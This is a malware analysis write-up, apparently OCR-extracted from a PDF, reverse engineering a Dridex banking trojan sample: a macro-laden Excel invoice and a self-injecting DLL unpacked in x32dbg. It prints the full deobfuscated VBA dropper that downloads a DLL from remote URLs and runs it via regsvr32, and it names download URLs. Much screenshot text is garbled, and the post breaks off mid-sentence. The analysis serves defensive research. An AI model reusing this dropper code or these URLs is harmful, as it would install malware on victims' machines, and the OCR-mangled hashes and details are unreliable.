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Dridex Malware Analysis [1 Feb 2021]
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Dridex “also know as Bugat and Cridex” is a form of malware banking trojan and infostealer that operated by criminal

group referred to as “Indrik Spider”. Dridex specializes in stealing banking credentials via systems that utilizes macros from

Microsoft office products like Word and Excel. In previous recoded incident the threat actors have used Dridex to hit high

value targets with ransomware [2].

In this post, presenting reverse engineering malware of the recent Dridex sample that has been found in the wild earlier this

February. The analysis highlights the techniques and codes used by the threat actor; and the method used to analyze this

sample and extract hidden IOC and files that has not been detected by sandbox. Note that multiple labs got different artifacts

and indicators so this work is almost a contribution to others security labs and researchers. This malware has two stages, the

first one is an Excel file that has embedded VBA macro which infect the system with a DLL file that runs as a process in the

second stage.

File Name SHA265

printouts of outstanding_as of

File

Size

115.81

b721618810b06ed4089d1469fc5c5b37bela907fc1ae14222f913c6e2b0001c2

FEB 01 2021.xlsm

libeay32.dll

[Table 1] Samples Basic Properties, Ref: Any.Run [3] [4]

1. Excel File with Locked Macro

KB

570.00
KB

26a659ec56¢7bd7b83a2f968626c1524bda829e0fefff37ecf4c4fb55ad158e3

As what appear to look like an invoice delivered via email at the first day of the month is a malicious spreadsheet. The

XLSM extension is indication that M stands for Macro and the code only runs when macro feature is activated and clicking

on the sheet! What looks like cell with number are just images linked to the macro.
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There’re three hidden sheets and locked macro! Apparently locked doesn’t mean password protected, it means locked! And
can’t be extracted and reused in new excel for this case in particular.
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[Figure 2]
To debug this sample require two steps:

First: extract the sample and locate the malicious file that has the macro using oledump.py. Identifying the macro is located
at the fifth stream which is a VBA code.

remnux@remnux :~/sample/folder/x1% oledump.py vbaProject.bin
551 'PROJECT'
104 'PROJECTwm'
991 'VBA/Sheetl'
991 'VBA/Sheet2'
5824 'VBA/Sheet3’
999 'VBA/ThisWorkbook'
3268 'VBA/_VBA_PROJECT'
2189 'VBA/__SRP_0'
423 'VBA/__SRP_1'

OO~k WNRE
=== =

10: 1045 'VBA/__SRP_2'

11: 780 'VBA/__SRP_3'

12: 552 'VBA/dir'
remnux@remnux :~/sample/folder/x1% oledump.py vbaProject.bin -s 5 -v > MacroFi
le.txt]]

[Figure 3] Oledump On Linux machine

Below is the extracted code

#If VBA7 And Win64 Then
Private Declare PtrSafe Function yellow_pages Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As LongPtr, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As LongPtr, _
ByVal 1pfnCB As LongPtr _
) As Long
#Else
Private Declare Function yellow_pages Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
Byval pCaller As Long, _
ByVal szURL As String, _
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ByVal szFileName As String, _

ByVal dwReserved As Long, _

ByVal 1pfnCB As Long _

) As Long

#End If
Function last_counter_a(nimo As Variant) As String
Randomize: df = 2 - 1: last_counter_a = nimo(Int((UBound(nimo) + df) * Rnd))
End Function
Sub Prv_invoice()
RoLo = Split(RTrim(first_prepayment), progress_bars(")"))
Sheets(1).Cells(3, 1).Name = "ForA_" & "s"
storages = Split(RoLo(1), progress_bars("+"))
For A = @ To UBound(storages) - LBound(storages) + 1
On Error Resume Next
Sheets(1).Cells(3, 1).Value = "=" & storages(A)
Run ("ForA_" & "s")
If A =12 Then A_min_1 = re_order:
If A = 14 Then
vega = re_order
yellow_pages @, date_to_date(last_counter_a(Split(RoLo(@), progress_bars("D")))), A_min_1 & "\" & vega, 0, 0
End If
Next
End Sub
Function re_order()
re_order = Sheets(1).Range("B1:B5").SpecialCells(x1CellTypeConstants)
End Function
Public Function date_to_date(rr As String)
date_to_date = Right(rr, Len(rr) - 1)
End Function
Function first_prepayment()
Dim cooperation As String
Dim rest_che As String: Dim value_cargos As String
Dim u As Integer: cooperation = accouintis(4)
rest_che = accouintis(3): value_cargos = accouintis(2)
For u = 1 To Len(cooperation)
rezzzult = rezzzult & book_rebook(cooperation, u) & book_rebook(rest_che, u) & book_rebook(value_cargos, u)
Next
first_prepayment = RTrim(rezzzult)
End Function
Function accouintis(d As Integer)
For Each ds In Sheets(d).UsedRange.SpecialCells(x1CellTypeConstants): forTwo = forTwo & ds: accouintis = forTwo
Next
End Function
Function progress_bars(df As String)
progress_bars = Replace(String(4, "Z"), "Z", df)
End Function
Function book_rebook(y As String, k As Integer)
book_rebook = Mid(y, k, 1)

End Function

Second: Unlock the document by using EvilClippy tool which removes the malicious macro. Open the new version and

create new macro and paste the above VBA code. Previous incidents involve Dridex also notice the use of EvilClippy use
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H# e
LICENSE.md

H

mpression.cs dridex.xlsm dridex_EvilClipp  evilclippy.cs EvilClippy.exe
y.xIsm

Linux Lite Terminal -

me to Linux Lite 5.2 user

day 06 February 2021, 19:26:59
y Usage: 844/3859MB (21.87%)
Usage: 13/20GB (70%)

rt - https://www.linuxliteos.com/forums/ (Right click, Open Link)
e S A G ET T A EIR 4P mono EvilClippy.exe -uu dridex.xlsm

g the project visible. ..
Downloads > EvilClippy-master M|

[Figure 4] Unlocking the xlsm file

Before debugging the code, the main sheet and the three hidden ones got some characters white colored spread among cells

by 7x7000 size. After a bit of cleaning they appear be random, but not encoded. Below are the sheet characters.

[Figure 5] Random cells from Excel file
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Esheeﬂ bt B3 | Bl sheet2tt (3| B shestane (3

1 dt:lsawognczDDts/amki.thhm.rDhp/asrotnsezv2zDDrs/kaacrohw.pDhp/ia.inbnitaidliiDlc:
ruehoj0izDDts/slntnthogoh. rhhp/wkxec/c06iDct :w.chdac/ 7k /oraaiobhzd.pDhp/rnucododh0zDlts/
alaict.myezDDts/rea.mkfarDDts/naiur.pbhp/h.oneocTwzDDts/iclerimzizDDts/lbenc/x4raDvt:blyeania
.pDhp/ada.mz6rDDts/laict .métdrDDts/lglge/S=abot :hero/b7iD9t :n.ur .m07tzDDts/thosyE. pDhp/c. . /
gaaD8t:a.tcnsogd.rDhp/us.btro9ibwe:di.e. cpsy pbhp/earcsoaqwi . rDhp/srgcpioom3 . rDhp/
uittbeottfiD2t:aecsc/wkxiDzt:w.reaocvy. pthflEyE ml2. Ith/IaEpa1nantulzDDts/tpsDxls pth/:
fnybzDDI:s/bbesuﬂc/wlzDDEsjlaaalgl:‘./ -

naq::kev:.mtélaDQt:hbextainanZw.p[)hpjesnlv:ee::j
nngec/r3.rDhp/aicigtoaDft:soricao. fp3hiDat: )uo\:sgqozaDg\: diloidlg.rDhp/sodi.msn.pDhp/s
/16zDDts/dnai/0y. rDhp faueege/oxiDgt : talefc/v3 . rhhp/mg. £ht . pDhp/ofpr. . /ft5iDct: siamesezezDDts/
bxobepézDDts/jai.mab.métzDDts/sse.m3udzDDts/eoslromcczDDes/jmuac/d4algt : tebobae . rDhp/rdesun/
gl9iDzt:lsgo.m3zprDDts/svo.mrdwaaDit :bbt.o/bviDtt:hkde/4t np/rnapnnosopt . zDhp/
uakrdeantgiibpt: gndba. mSmezDDts/1bf.mrlszDDts/dpcdsodin.pDhp/aa.mvsrDDts/rn.mkpciDit : ahemt . /
/deu.e.tud.phhp/ciesoc/spzDDts/sraaci /wnaDot :w.nvi.g2rrDDts/aspowldiDxt :w.armic/
/Edtgsc/yhziDut imnac/y5ziDdt :weiantc/ 2. mab .m30zDDts/btbsli.mfijzDDEs/rgr.
mdd]zDDts,l‘Iht:/f].aDjt noteamic/ :cle.m2trDDts/iceacdsoqgps . pDhp/eaiasi/ll . zDhp/
lsenaolp0iDkt:tteynaodkfaDrt:cpavau. tpemrDDts/ceirwh.pDhp/uaaca.t95arDDts/ise.méocalot:
ctgcsobdf. Ith/eoleolaadcjis pDhp/dheachgniD9t:ccerfdxzDDrs/libde/rkiDtt:ovioilsrewizDDts/
rsrc/os :ispc/ejzDDtsfoltslld. /gfzDDts/pra.£i2.phhp/piipa.rDhp/eaatknti .mwceilmt :mlerefec/
up. pth/aacwqprDcs/x mab.mxn. pthfl.D narc/laz) ) TA(i"E (&™) +ENEh

L, "+5.M"gw, "klxh"th

\++ (NB (AHd, 1),0(L) S&&EL++TA(

bLTEm()FDngG RPE311&0lh&
& b++TA (bLTH (B

&&c .,,Jlmuh  ba0)+I.0(L)

) +&d"™+S.L{,) +A(go

C# source file length : 2,092 lines: 1 Ln:1 Col:2,093 Pos: 2,003 Windows (CRLF)  UTF-3 INS

Bl et 64 £ Hshest2id B3 [Bshestain £

1 hp/esd.m221iDlt: sraenseSbkrDDts/khelisi/uéuiDst:shlmh.mvmzDDts/brahtastecncs.pbhp/cta.
m3zniDit:aaa.zfe .mvxzrDDLs/wnfdomin.phhp /wmtmadoaforDhts/meiq. mrv2dzDDes /egem . mee7i0nt :
uholteec/s8iD5t:msrlc/xhlalnt: pa. zbfzDDts/ozmg .m3zciDst:hfoe.gl0z0iDkt :amizeon7l . rDhp/used. /
kSzDDts/karc/x6aDbt :molteec/ xi rkcleogd.rDhp/edgrgx.pDhp/gesic/idaiDgr:ge.maczzDDts/
rcztx. rDhp/pcili .mkcrDDts/lkwsebd.pDhp/asivseibkzDDts /usvi.mrfgerDDts/nsmoun. mwerDl:sjfnnIu
ma7.pDhp/tnagovsv.pDhp/wmer .moyizDDts/odbac/rdrDDts/otrylld. /ddciDbt :nal . moumzDDts/ 3
iw.eeotnoc5biD2t i scinclegoowuzDDts/wptfeoig5rDDts/tnlsnsoatlyzDlts/.e.tiy.pDhp/apkseya. rth/
waocaon.mk5zDDts/ . mgyn/mxiDgt : ciplmolouék . pDhp/haae . /nuzDDts/walc/tt. pDhp/ocfemcfukidoc/

/eaxaslld. /ktzDDts/g.ccynrouaiaDit:euknbzitc/% =/eaitungdc/g2aDat:

:::tnnxkseynwhSIDD!:sjk:mnlEq rDhp/clspsnniozd.pDhp/ushe . /zb rDhp/itamns57rDDEs/puaac/ T

ndalisoskeiDot:mle.tjgfrDDts/dsbsnoec. pDhp/rteleogn8rbDts/ouioTuzDDts/tlrucivay. pth/aclml,u‘

pjiDnt:cb.mri20iDjit:bamneamic, 1. tvcqub.lth jlnsv.mg35iDlt:auamrois. rDhp/rl.mudkrDDts/
at.asey3s.pDhp/eporc/vafabme : fuerc. /2t acesrwy.pDhp/alyop2drDDts/eisatgr .mgfrDDts/rnbios
.mga.pDhp/utoatc/£38iDet: lunec. /7 opse.mg95zDDts/1lhc/jyaldt:pnhc/: p/lahiriyujrDDts
fuciivsef0zDDts/olfhnobrjiDlt:tharlnnzd.rDhp/wmuado/ataDet:uth.mép. pth/wamucDgzﬂlec.
ioeelhorpn.pDhp/eihos07 . pDhp/ontmdecw2wrDDts/beamic/wziDkt : jshesuoc/ro0iDét : setec/zlwiDwt :
acovoba.rDhp/ilhlmolomE . pDhp/hdre/t3aDEt: stanrse. mv5pzDDts/t£lt . thulrDDts/utlf.mch. pDhp/eusvi

.mhi.rDhp/ootonin/emlaDpt: worosuszDDts/rnugsn/qr2ab3t:a. tve/v0. rhhp/odro.mro6rDDEs/Tn.

rntirsorwfzDDts/iid.mrb.pDhp/lk.g7i3iD7t: tkvayomd . pDhp/uicpcste6g8iDwt : gyteows . tDhp/

nhsofyriD8t:frwe. DlllpzleE\: a enlugzzDD\:s,’a\:rszDD\:slsunasdoec/ue pDhp/a.ptrisomé9zDDts/
1simbhaDwt: ueams/,' snaimtol0li)S.M"1, 2 (k, "+ITUESR (0G.RPE) ,CSFS)+ENEo, 24+

e | B H sheetze 3

1 ts/nhoc/ ‘hkrtgi/vbxaDtt:leosuo. tvge.pDhp/iwsaac/pwiDét:lryramitu. . /bfzDDts/orcc/oh.
pDhp/lgimioccc/eusal3t :w.os.mry5zDDts/wsaeh . mprxaDét : cpmsuc. /stdiDmt : gelcpne/vl.pDhp/t.
ccynrovm.pDhp/acesoz0j.rDhp/irk/tiiD4t :spoalc/fl.pDhp/aalgo. /0 lolo.mrdxrDDts/
lemiidyviDOt:meceogl.rDhp/.ccynromns.rDhp/kpoe.mltrDDLs/so. ghszDcs/odpcDexx pDhp/ucc./
:bgoaelrDDts/pusicc/suaDét:paiei/v7zDDts/nldsi/asliDft:nmeioc. :st.-mtdc/olaD0t
hfgninc/lwzDDts/hap.mglgzDDts/watrc. /juiDct:ivarkozvyaDrt:amha.oiiiven.pbhp/eque/0uliDzt igmn/

etbsli.m0a.pDhp/rhtyoen.mgnviD0Ot:w.iii.mmg%aD5t:erdoui.mrtfiiDat:uivsenxzDDts/iesi/

ozrDDcs/m.lxvnac/h(hDuc woao.fxi.pDhp/oa.mab.mpo4zDDts/arrwilgziDet :w.m3ooyczDDts/
brtvirtisnirovl6rDDts/rltc.oiiiiwpiDlt:valaict.mcz.rDhp/gtoybothod8walgt:skrnitacaotu.rDhp/oe

—geaocan.migiaD3t:ts../izrDDts/hah.mgyn/f4zDDts/cnolnetgqrDDts/gax. /d92albt :dfntnook3iD7t:

/aevselo3aDyt:cmwdi .mgzzDDts/yhti .mwemaDmt : esen/fgiDrt:ni.izon44gzDDts/gtit.

TmX. pth/woc. /pc.pDhp/acpglmolofy.pDhp/medsorle.pDhp/obiiec/c /rnjd.m3crDDts/uyc/id6aD4t

:muept . t0jkzDDts/toykollz. rDhp/frysobg2grDDts/moatedzzDhts/ca.mTvnaDft : sevaiiwkc/béaDat :

gbaannic/ iaaceokd3.pDhp/eiftobhe.pDhp/oa. tve/usxiDet : ssdoty. rDhp/oodoigozDDts/p—

eayrsrkaDT7t:errtdsi/k3iDyt:evlai.myy.pDhp/uagw.lebSrDDts/wievargn. rDhp/geoc/sczDDrs/wdons.m3a

.pDhp/n.fni.m3rlzDDts/uk.mnkgzDDts/mwhaa.mk00aldt i cclmolog2 . pDhp/o.eeotnoil2 . pDhp/tnhrotdst.

pDhp/gsw.m5rrDDts/ce . mab.mvuzDDts/idmoep. rDhp/mhld. tve/ ok t:jtfiesequgaDvt :beeirc /D

xrbitc/zurDDts/rrislsedae.rDhp/pd. /bnoiDgt :bbktlsezev. rDhp/pedsocogrDDts/loaec.

psapsarnf.mhoxiDvt:atmic/S jico/qj pDhp/aled.my0zDDts/rsnta.o/nx.pDhp/o-o.mherDDts/ti.
mby pth/].aaralnanss pth/ppxanf bc./g6aDkt: rcrclasrsoocszDcs/lwansl mwlsiD3t:pb./

(H"an,TOSC2
ERRD*+)A(2) . 1+ TAE2D

045.L(,) +ENEa, FCRA(
hE&"AACCMOOPh", "kgro”ss&, 0+FELEAE

[Figure 6] characters extracted and cleaned from three sheets

Sheet1
dt:1lsawoqnczDDts/amki. thhm.rDhp/asrotnsezv2zDDts/kaacrohw.pDhp/ia.inbnitaidliiD1t:ruehoj@izDDts/slntnthoqoh. rDhp/wkxec/cot

Sheet 2
hp/esd.m221iD1t:sraense5bkrDDts/khelisi/ubuiDst:shlmh.mvmzDDts/brahtastecnc8.pDhp/cta.m3zniDjt:aaa.zfe.mvxzrDDts/wnfdomjn.

Sheet 3

ts/nhoc/5y.pDhp/hkrtgi/vbxaDtt:leosuo. tvqc.pDhp/iwsaac/pwiD6t: lryramitu../bfzDDts/orcc/oh.pDhp/1gimiocc/eu8aD3t:w.oe.mry5:
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When debugging the code it appears to be those random characters spread on sheet cell start forming three arrays. When

reading it top to bottom one character at the time it appears to be URLs. After complete running the code it generates over a
100 URL, all the URLSs are in Appendix — A

Locals

TType.
ocueTioduT
VarantEmoty
stng

[Figure 7] Debugging VBA code

After re-debugging multiple times there appears to be two random IOCs generate. A URL to connect download site and the
DLL file name. What’s interesting is that some! Of the generated URLs are not from the list in Appendix -A and that is
what Dridex is all about. Below is three samples of random generated I0OCs. Further IOC are found in VT.

| VBAProject.Module 1.Prv_invoice

Expression
Module1
olo
storages

A
A_min_1
vega

Value

14
"C:AUsers\AnalystvsppDatatLocalTempy®
“edtcsreb.di’

Locals

| VBAProject.Module 1.Prv_invoice

Expression |\.l"alue

WModule1

RolLo

storages
A 15
A _min_1 "CAUsers\AnalystippDatailocalTempt”
vega “hrkzjgrb.di*

[Figure 8] Dropped DLL file

LIl Uil Ao

Public Function date to date(rr As Stri:
date to date = Right (rr, Len(rr) - 1)

oy End Function

Function first prepayment ()

Dim cooperation As S5tring

Dim rest che As String: Dim wvalue cargo!
Dim u As Integer: cooperation = accouint

rest_che = accouintis(3): value_cargos =
For u = 1 To Len(cooperation)
rezzzult = rezzzult & book rebook(coope:
== I
Locals

| VBAProject.Module Ldate_to_date

Expression | Value
WModule1
m “whitps://bluesteelinfra.com/Ic0pb00.zip”
date_to_date "hitps:/ibluesteelinfra. com/lc0pbl0.zip"
L]
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date to_date = Right_(:rrj Len(rr) - 1)
o] End Function

rest che

=J= 4]

Function first prepavment ()

Dim cooperation As String

Dim rest che As S5tring: Dim value cargos Az Strim
Dim uw Az Integer: cooperation = accouintisz(4)

accouintis (3): walue cargos = accouint:

For u = 1 To Len(cooperation)
rezzzult = rezzzult & book rebook(cooperation, u)

Locals

| vBAProject. Module 1.date_to_date

Expression

| Value

Module1
T
date_to_date

“dhttps:#cubc.elmamamobil. comigBw20z.zip™
“https://cubc.elmamamobil. comigdw20z. zip”

[Figure 9] Date-to-Date function selected URL

Finally, the end of this stage is creating a process that use Regsvr23.exe to run the create DLL. The third hidden sheet

contains the end/exit function of the VBA. There’s temporary file generated in the % TEMP% folder has a cache version of

the macro. Other network and host-based IOCs are found on VT.

X Single Step

Formula:

Cell: [dridex_EvilClippy.xsm]feb20211A3

=CALL{"Bhel32%, BhelExeauted |, TICCCCT 0, Open, Tegswri2’, "= C:
[Lizers [Analyst [AopDatz [ ocal[Teme [veyrak.dl 0.0}

=5

l Step Into ]| Evaluate

[ Hlt || Goto |

T S
[Figure 10]
File Name SHA265

~DFDC192FF5186970D5. TMP

[Table 2] Temporary File Created

2. DLL File with Self-Injection

77AA147FC137EBB5FA8865DAES6ABC21A66E87B8454125666A6F80F589A0005C

Up the time writing this post 13/69 of VT engines has detected this file as malicious

\ N
1 3 () 13engines detected this file

N

libeay3z

pedil

0fefff3; 15883 570.00 KB 2021-02-0120:48:49 UTC CO
size DLL

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY @

[Figure 11] VT

This binary never been seen before the incident and the compiled time from 2009. Other than that there are couple of

indicators this file is suspicious like the file size compared to strings, imported and exported sections, and resources section
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pestudio 8.74 - Mahware Initial Assessment - wuww.winitor.com - o X
File Help
wHx8?
n\desktop\downid property value
- indicators (1/12) mds. D66IZAEF56AA1TAFFA1B20557CFBDEA2
’D’ ;"“’:‘:’ ‘fr:“”k SO0 | oyt F63E424122EAGCTEADEDCEEREEBF6FCATS8DDAL
osstub (This program < | o 41CCAADEZE4ACE01ADBEDS14199B3BASDBA62459B A ACEEF63D68D3CEDTD0EET
D fleheader Decdl0) | G e 4D'5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
O optional-header (GUI) irst-bytes (hex)
.00 directories (7) first-bytes (text) MZwwiwnwnnmwnnwnnn @ e
O sections (99.82%) s 383680 bytes
O libraries (1/4) entropy 6.973
o imports (20/9/0/1/22) | imphash 992FB3ABACOFFCTFBFA3304931631EER
% exports (Menfigure) cpu 32-bit
0 ths-callbacks (n/a) signature /s
i resources (1) entry-point (hex) 88 FF 55 88.EC 23 7D 0C 01 75 05 £8 28 37 00 00 FF
sbe strings (26/10/81/12/6003) | file-version 1.02)
% debug (path) file-description OpenSSL Shared Library
B manifest (n/a) file-type dynamic-link-library
version (libeay32.dll) subsystem cul
G cericate (a) compiler-stamp  Mon Dec 07 03:51:21 2009
13 overlay (n/a) debugger-stamp  Mon Dec 07 03:51:21 2009
< >
. sha256: 41CCAADE2EAACE01ADBEOS14109B3BACB62450BAAC SEF63D68DICED1DOBT cpu: 32-bit_ file-type: dynamic-link-library _ subsystem: GUI entry-point: 0x000026D1

[Figure 12] PeStudio view of the original DLL file

pestudio 8.99 - Malware Initial Assessment - www.winitor.com [c\users\user\desktophoffidillibrary32.dll]

file help
whhld X H ¢
-5 chusersiuserdesktopioffidillibrary32.dIl ordinal (1) name (1) location

5 indicators (2/26) 1 Menfigure text:0047BT00
> dos-header (64 bytes)
- [E8 dos-stub (176 bytes)
..... »  file-header (Dec.2009)
..... > optional-header (GUI)
----- & directories (7)

..... > sections (99.82%)

..... > libraries (4}

-4 | imports (13/80)

..... ] exports (Menfigure)

----- 4 resources (version)
----- abe strings (18,/6040)
- 4T¥ debug (path)

----- g

-{18] version (libeay32.dll)

[Figure 13]

When running this binary on IDA it seem to be too much gray and less code and resources. The binary isn’t detected to be

packed in Detect it Easy or PEiD, but there’s high Entropy.

[Figure 14] IDA

After few rounds on x32dbg it appears to be this binary is using DLL self-injection technique. To put simply there is a
hidden code that overwrite the original PE file with new file during runtime. This technique requires to allocate memory
space to the hidden code first then extract it the code in the region of the memory. The overwritten happens on memory
during runtime and to make it happen it requires two setting two breakpoint (VirtualProtect and VirtualAlloc). Once hitting

certain space memory it’s possible to extract.

After few runs and reaching the EntryPoint on x32dbg and being on the right module and setting, it is time to set the

breakpoint
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e#hs nEBE

- enoybap () Calsack S [o/ oot @ symbos O Somce 2 ) sommen drandes ¢ Trace
puzn-eop offwerrs
. Eax 00000000
i

ou Booh it itoes trespons
o,

sbenyaz.cnerypoines
DX 00400000 1ibeay3z. 00400000

I 00021 <ibeays2.Entryoint
ep ooszes  tbeayaa.Encrysoine

ccxentrypoine
Lasterror 00000000 (ERROR_success)
LastStatis 0000138 (STATUEDLLNOT_FOUD)

Cevpea):entrypotn

TTbeaysE EneryPeTnG (00402000

Texei00402601 13besy32.d11: 5301 #1403 <EncryPOnE -
WSoum1  Eiowo2  W0wp3  Whowmps  ESous @ vexhi il ) stuct [ — e £ eayas o0s00000,

00402603 11beaysz. encrypoine
33100305 11533 Sosovoon

. ] <1
[Figure 15] EntryPoint of DLL file

W 132dbg - File: libeay32.dll - PID: 5376 - Module: libeay32.dll - Thread: Main Thread 6140

File WView Debug Trace Pluginge Favourites Options Help Mar 4 2018

COE =0 Y 9§ tall ey AL B
Bcru @oaph [ flog [Notes  ® Breskpoints 8 MemoryMap | [l Call Stack

software

008F0AZT Inactive
009330A29 Inactive

760A7D10 | <kernel32.d11.VirtualProtect> Enabled |mov edi,edi

[Figure 16] BreakPoints

After hitting Run (F9) few time you reach to a <VirtualAlloc> breakpoint which by checking the EAX register appears to
freed up some space

* - o x

Fle Vew Do T Ppns Fartes Optars e b 4is
o su taws tauli-slhn nLAE
Bou Sown i v ® besoons  MmenoyMw () calsud  Ssor [ sopt @) smeos

<werne1sz. virtaIAl oo

(emmon_riie parrouo)
AR eRT R e rouo)

ey ORI

LCOXELTSEFALD Kernelbaze, 4115 H10FALD #106E1D <VircusIATIoc:
o ——

Wowpi WDmp2 Wowpl Wouwe  Gowps @wani Ik s

S [oFag1388| recurn to 11beay2.024r1565 from 1ibeayaz. 02470700
2 [3535 SShewatonsiane v

S0 kerner 2. coemurens
Fa30 heny3E 0240

[Figure 17] Reaching the breakpoint

Before running to the next breakpoint let’s make sure what has been allocated by putting breakpoint to return (ret) or just

Run Until Return [Figure 18]. return from this function it appears to be some random data has filled up EAX [Figure 19].
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Module: kernelbase.dll - Thread: Main Thread 550 - [m] X

M <32dbg - File: libeay

le ie Debug Help  Mar 42018
EELIEY (N WA T ES xS -1
Bcou @oah  [log | [HNotes @ Breskpoints B MemoryMap [/ Call Stack  S@SEH  Jof Soipt @l Symbols <2 Source A e

7SE0FASE 50 ush eax :
Tcorass| oA e e ~
75EDFASE FF 15 38 A7 79 75 |[€all dword ptr ds:[<&ZwAllocatevirtualmen
Totorass| s g0 = S el EAX  00A40000
7560FAS3| v 78 OA s kerneibase. 756DFASE tox oo
756DFASS 88 75 FC mov esi,dword ptr ss:[ebp- 4]
756DFASS 88 C6 mov eax,s8si EDX  00A40000
SEDFASA sE pop esi EBP  007GF3AD
5 EDFASE co leave ESE  0076F373
c2 10 0o ret 10 ESI  025730F0 Tibeay3z.025730F0|
SEDFASE 88 Cs mov_ecx,eax EDI  025731A9 1ibeay32.025731A9|
756DFAGL E8 SA 29 FE FF [all kernelbase.756C23C0
756DFAGE| ~ EB FO Jmp kernslbase.75eDFASSE EIP  75GDFASC kernelbase. 75 6DFA|
756DFAGS cc
756DFAGS cc int3
TiEnEee o« s EFLAGS 00000344
2 zE 1 1 AF 0
5 EDFAGE cc int3
756DFAGC cc int3 €O PO OFO
75EDFAGD cc int2 GF@ wrad iFd
75 6DFAGE cc int3
75 6DFAGE cc intz LastError 00000002 (ERROR_FILE_NOT_|
756DFATO 88 FF mov_edi, edi LasTSTaTus CODDD034 (STATUS_OBIECT_N|
756DFATZ 55 push _eop
756DFA73 88 EC mov ebp,esp G5 0028 Fs 0053
75EDFATS se push == -
756DFATE 57 ush edi
o|Zseorars| 33 ke Ror es1, 251 Defaut (stocal) =[5 300 rlockes
o[ 75e0FA7o 56 push es [ 17 [espr4] ooocoson
| 756pFATA FE 75 08 obush dword ptr ss:Bebo+al 2: [esp+8] 00000BGG
> |3: [esp+c] oo003000
4: [esp+10] 00000040
5: [esp+14] 00000BGS

.text:756DFASC kernelbase.d11:$10FASC #10EESC

Woump1 WWoump2  W4Dump3  Glipump4  WHoumps @ watth1 vl o O B RECURMICONI a2 02S SIS BT o
00767250 | o0o00BES
o000 00 Ol . 00003000
00 00 00 00 00000040
00 00 00 00| - 00000BEE|
00 00 00 00 . Tibeay32.025730F0
00 00 00 00| . OB777585 N
00 00 00 0O Tibeay32.025730F0
00 00 00 0O 007 6F3E4|
00 00 00 00 007 6F3E4|
00 0O 00 DO 024F1563| rgturn to libeay32.024F1569 fr
00 00 00 00 . 025730F0| Tibeay32.025730F0
00 00 00 00| . OB77380A
00 00 00 00 00208795
00 0O 00 DO N 760AC430)| kgf‘ﬂ!] 32.0penMutexa
00 00 00 00, 024F0000| 1ibeay32. 024F0000
0o 00 00 0of - Ity v
>
. Command: | Default  ~

[Figure 18] Empty EAX Register

* -

comsutaws tauloCelhs nLlE

Hou  ®cun 0 [[toks @ bredpons W MenoryMep () ColSade 01 oSt @Symbds O Samce S Refoences W Thveads &) Srowmen o Hendes
= o vt e .
25 0813w %6 SEQS.EM Ptr de: [VIFUATATIOE] virtaaattoe
i LTS 2000ntsi (AN oasect ane-sor_roue)

0m03  Wowws Wowws @uani el D st

ek B

ul
b
sdmre

SHBESaRT RS RRE s MR GLh .

= Tostase ©

[Figure 19] EAX Register After Return

When Follow in Memory, it appears that memory space has Execute, Read, and Write which is a sign of hidden code to be

executed in the next steps

PSP | PR S P PRV “EW- -
00927000 | 00002000 |Reserved (00920000) PRV
00230000 | 000FCOO00 | Reserved PRV
00A2C000| 00004000 | Thread 1730 Stack PRV
00A30000 | 00002000 | \Device' Har ddi skvolumel'\windows' Syswowe4oleaccrc. d11

00A40000 | 00001000 PR

ODA50000 [ 00020000

O0A7D000 | 0D0DEQDOD |Reserved (D0AS0000) RV

00B5 0000 | 000FCO00 |Reserved PRV
00C4C000 | 00004000 | Thread 17C8 Stack PRV -RW-G
00C50000 | 000FCO00 | Reserved PRV
00D4C000 | 00004000 | Thread 135C Stack PRV -RW-G
00D5 0000 | 000DEDDD MAP —R-—-
0O0DSEQOD | 001F2000 |Reserved (00DS0000) MAP
00F50000 ( 00181000 MAP
010E0Q000 | 0007 8000 MAP
01158000 | 01382000 |Reserved (0LOEQ MAP
024F0000 | 00001000 | Tibeay32.d11 ING
024F1000 | 0007 BOOD Executable code ING
0256C000 | 00005000 Read-only initialized data IMG
02571000 | 0000B000 Initialized data ING
0257C000 | 00000000 ING
02583000 | 00001000 Resources ING
025BAD00 | 00002000 Base relocations ING
02640000 | 00004000 ., . PRV

[Figure 20] Memory Map x32dbg

After another Run [F9] and stop at a second <Virtual Alloc> breakpoint and free up space in memory and by checking EAX
dumped value it appears to have nothing. The memory space of the new allocated is also with ERW privileges. It’s the same

as the previous stop as the <VirtualAlloc> but this time different memory place and different gibberish values
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a

W xizaog -
comsutaws tal
By Sown g o @ orespons

@k # AL AR
= pemory iy ()

O sopt @lsmos  OSare S Refererces  Wweats ) Somman  dhitendes ¢ Troce
-

ex  oass0000
o ooacsas
X 07330000
e umapvienoreile EIP 7S@RASC  kernelbase.7SeOFASC
75 08

Lasterror 00000002 (ERROR_FILE MOT_FOUND)
LastStatus C0000034 (STATUS O8IECT.RAME_NOT_FC

55 58 98 03 00
& <5 0023 53 oozs

s

8710 0000000000000000000 STO €Ay 0.000000C
1 00000000000000000000 T4 Expty 0. 000000

Findciose
cnelbase. 757838c8

+Texc:7SDFASC kernelbase. d11:S10FASC 410EESC

Wowp:  Wowp2 W03 $omwe  Somps  @wexhi ivloak  Jsma

2238388828]
2238888828|

034£1868) return o 11beay32.024F1569 from 11beay32. 02460700
03573060, beaya3. 02373050
08273504

388888888888888888888

2388888283388882883888¢]
2283888288388822288333¢]
3888888888388882883338¢]

2883888288
2888888888

TR

ERWC-
Executable code ERWC-
Read-only initialized data ERWC-
Initialized data ERWC-

ERWC-
Resources ERWC-

Base relocations

Reserved

Reserved (02750000)

[Figure 21] Second VirtualAlloc Breakpoint

The next Run (F9) would be stop at <VirtualProtect> when dumping EAX register, there appears to be something close to
MZ header! By checking the dump values there are some normal ASCII characters that resembles executable binary.
Reaching this point means the next Run (F9) will be overwriting the original PE (Libeay32.dll), in this case, with new file

CoEsu tawl taBMoCelhis L EE
Bov Bown  im  Drews o dedoons  Muemoymw O cusek St | osoot Sombos  Osore L Drse s diredes (T
| e rr0

uoea pre s (aavteruTProtects)

.
- .
CoE Ut tuMoEe s nERE
Bou @omn s lew  * seows  unoywo (Jcsud o lisowt @smids  Osore S Refemces  $iwess  Oswwan  dhrondes £ Tce
X
« e
iz aze (B i s o Cvirsuroseces)
e
0000002 (cnsce_s1i v s0u0)
3500031 (FTATUS BESECT R naT_fouN0)
«
-
seuu
£
text: 760NTDL0 Kernel 2. 0111517010 10 <VircuaIProtects
.

[Figure 23] Packed Executable
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It’s possible to dump memory location from x32dbg Memory Map, but choosing alternatives is sometimes better like using
